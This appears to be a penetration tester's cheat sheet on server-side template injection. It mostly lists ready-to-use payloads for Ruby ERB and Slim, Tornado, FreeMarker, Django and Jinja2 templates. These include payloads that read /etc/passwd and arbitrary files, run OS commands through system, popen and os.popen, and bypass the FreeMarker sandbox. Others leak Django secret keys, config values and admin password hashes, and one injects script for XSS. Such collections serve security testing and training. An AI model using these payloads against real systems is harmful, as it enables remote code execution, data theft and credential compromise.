๐Ÿ“ŒSSTI : Server Side Template Injection

Notes

Tools

Detect

Commonly Used Template Engine Syntax

${{<%[%'"}}%\

Plaintext Context

http://vulnerable-website.com/?username=${7*7}

Code Context

http://vulnerable-website.com/?greeting=data.username

http://vulnerable-website.com/?greeting=data.username<tag>

http://vulnerable-website.com/?greeting=data.username}}<tag>

Identify

Invalid Syntax

<%=foobar%>

Ruby Error

(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

Decision Tree

Decision Tree

Template Engine Payloads

Ruby

Ruby - Basic injections

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Ruby - Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

Ruby - List files and directories then read

<%= Dir.entries('/') %>

<%= File.open('/example/arbitrary-file').read %>

Ruby - Code execution

Execute code using SSTI for ERB engine.

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Execute code using SSTI for Slim engine.

#{ %x|env| }

Tornado Template

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}

{{os.system('whoami')}}
{{os.system('whoami')}}

FreeMarker Template Injection

FreeMarker (Java)

You can try your payloads at https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

Get FreeMarker Version

${freemarkerVersion}

Freemarker - Code Execution

${โ€œfreemarker.template.utility.Executeโ€?new()(โ€œcat /etc/passwdโ€)}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}

${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

โš ๏ธ only works on Freemarker versions below 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

More information

Django Template Injection

Django Templates

Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.

Detection

{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }}  # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r

Django Templates for post-exploitation

# Variables
{{ variable }}
{{ variable.attr }}

# Filters
{{ value|length }}

# Tags
{% csrf_token %}

Cross-site scripting

{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Debug information leak

{% debug %}

Leaking appโ€™s Secret Key

{{ messages.storages.0.signer.key }}

Admin Site URL leak

{% include 'admin/base.html' %}

Admin username and password hash leak

{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}

Jinja2(Python) Template Injection

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} Nothing

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}


{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

RCE

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

References

Last updated